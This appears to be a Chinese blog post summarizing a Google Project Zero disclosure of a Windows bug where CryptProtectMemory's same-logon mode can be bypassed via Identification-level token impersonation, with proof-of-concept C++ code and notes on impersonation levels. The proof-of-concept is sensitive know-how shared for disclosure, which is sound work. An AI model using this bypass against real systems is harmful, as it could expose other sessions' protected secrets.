模拟令牌绕过CryptProtectMemory [Google]
原标题是:Windows: Impersonation Check Bypass With CryptProtectMemory and CRYPTPROTECTMEMORY_SAME_LOGON flag
不过太尼玛长了我就缩减了一下。
漏洞贴: https://code.google.com/p/google-security-research/issues/detail?id=128&can=1
某种意义上给人直接的感觉是有点鸡肋啦。
依旧是谷歌90天0day,这场打斗目前还是相当友好的。
问题出在 函数 CryptProtectMemory 上面,该函数用于给内存中数据加密,比如你内存里放了一个password你就可以使用这个函数对这块内存进行加密,就可以防止别的进程获取password。
利用在于 当你使用 CRYPTPROTECTMEMORY_SAME_LOGON 模式加密时 可以被绕过,可能被读取数据,或者攻击。
绕过方式在于普通用户可以通过模拟令牌使用Identification level级别获取登录会话id,并且通过登录会话加密解密数据,因为CNG.sys(提供一组加密的api)并不检查模拟级别。
看下主代码
void test_cryptmem()
{
// 获取 token 负值给 lined_token
HANDLE linked_token = GetAdminToken();
std::vector<unsigned char> logon_a;
std::vector<unsigned char> logon_b;
// 确认linked_token存在
if (linked_token)
{
//先加密一段内存 放到 logon_a
logon_a = encrypt_mem(TEXT_, sizeof(TEXT_));
// 通过模拟令牌登录
if (ImpersonateLoggedOnUser(linked_token))
{
// 登录后在加密内存 放到 logon_b
logon_b = encrypt_mem(TEXT_, sizeof(TEXT_));
RevertToSelf();
// 对比logon_a 和 logon_b是否不一样
if (memcmp(&logon_a[0], &logon_b[0], logon_a.size()))
{
// 卧槽 不一样
printf("Encryption doesn't match, impersonated session?\n");
}
else
{
// 卧槽 一样
printf("Encryption matches, impersonation failed\n");
}
}
else
{
printf("Error impersonating %d\n", GetLastError());
}
}
}
我们看下执行结果。
附注
CryptProtectMemory函数三种模式
1. 不同进程之间无法解密 (CRYPTPROTECTMEMORY_SAME_PROCESS)
2. 不同进程之间允许解密 (CRYPTPROTECTMEMORY_CROSS_PROCESS)
3. 不同用户会话之间无法解密 (CRYPTPROTECTMEMORY_SAME_LOGON)
模拟令牌的 4级别
1. 匿名(Anonymous):无法获取有关客户端的标识信息,且无法模拟客户端;
2. 识别(Identification):可以获取有关客户端的信息(如安全标识符和特权),但是无法模拟客户端;
3. 模拟(Impersonation):可以在本地模拟客户端的安全上下文。,但无法在远程系统上模拟客户端;
4. 委托(Delegation):可以在本地和远程系统上模拟客户端的安全上下文。